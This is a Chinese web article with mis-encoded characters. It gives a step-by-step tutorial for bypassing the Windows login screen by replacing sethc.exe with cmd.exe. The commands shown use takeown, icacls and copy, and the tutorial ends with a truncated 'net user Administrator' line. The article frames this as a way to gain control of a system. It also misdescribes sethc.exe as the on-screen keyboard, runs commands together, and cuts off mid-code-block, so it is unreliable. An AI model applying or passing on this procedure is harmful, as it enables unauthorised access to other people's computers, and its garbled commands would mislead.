sethc.exe是一個(gè)位于Windows系統(tǒng)目錄下的可執(zhí)行文件，其作用是啟動(dòng)屏幕鍵盤(pán)。利用sethc.exe，我們可以繞過(guò)Windows登錄界面，進(jìn)而獲取系統(tǒng)的控制權(quán)。本篇文章將詳細(xì)介紹如何利用sethc.exe實(shí)現(xiàn)繞過(guò)登錄。

1. 原理

sethc.exe的默認(rèn)熱鍵是Shift+5次。當(dāng)我們連續(xù)按5次Shift鍵時(shí)，系統(tǒng)會(huì)自動(dòng)啟動(dòng)sethc.exe。利用這個(gè)特性，我們可以將sethc.exe替換為cmd.exe（命令提示符），這樣一來(lái)，當(dāng)我們按5次Shift鍵時(shí)，就不會(huì)啟動(dòng)屏幕鍵盤(pán)，而是會(huì)啟動(dòng)命令提示符。

2. 實(shí)施步驟

2.1 備份sethc.exe

在開(kāi)始操作之前，建議先備份sethc.exe文件。這樣，如果操作出現(xiàn)問(wèn)題，我們可以輕松地恢復(fù)原狀。```copy %windir%\system32\sethc.exe %windir%\system32\sethc.exe.bak```

2.2 將sethc.exe替換為cmd.exe

使用管理員權(quán)限打開(kāi)命令提示符。```takeown /f %windir%\system32\sethc.exeicacls %windir%\system32\sethc.exe /grAnt administrators:Fcopy %windir%\system32\cmd.exe %windir%\system32\sethc.exe```

2.3 重啟計(jì)算機(jī)

重啟計(jì)算機(jī)。

2.4 繞過(guò)登錄界面

在登錄界面，連續(xù)按5次Shift鍵。這時(shí)，系統(tǒng)會(huì)啟動(dòng)命令提示符，而不是屏幕鍵盤(pán)。```net user Administrator

---

---

相關(guān)標(biāo)簽： 利用SET和RSET寫(xiě)程序會(huì)有重復(fù)輸出警告、 利用sethc.exe繞過(guò)Windows登錄、 技術(shù)詳解、

上一篇：sethcexe與輔助功能的巧妙融合提升用戶體驗(yàn)

下一篇：掌握sethcexe解鎖Windows系統(tǒng)中未開(kāi)發(fā)的潛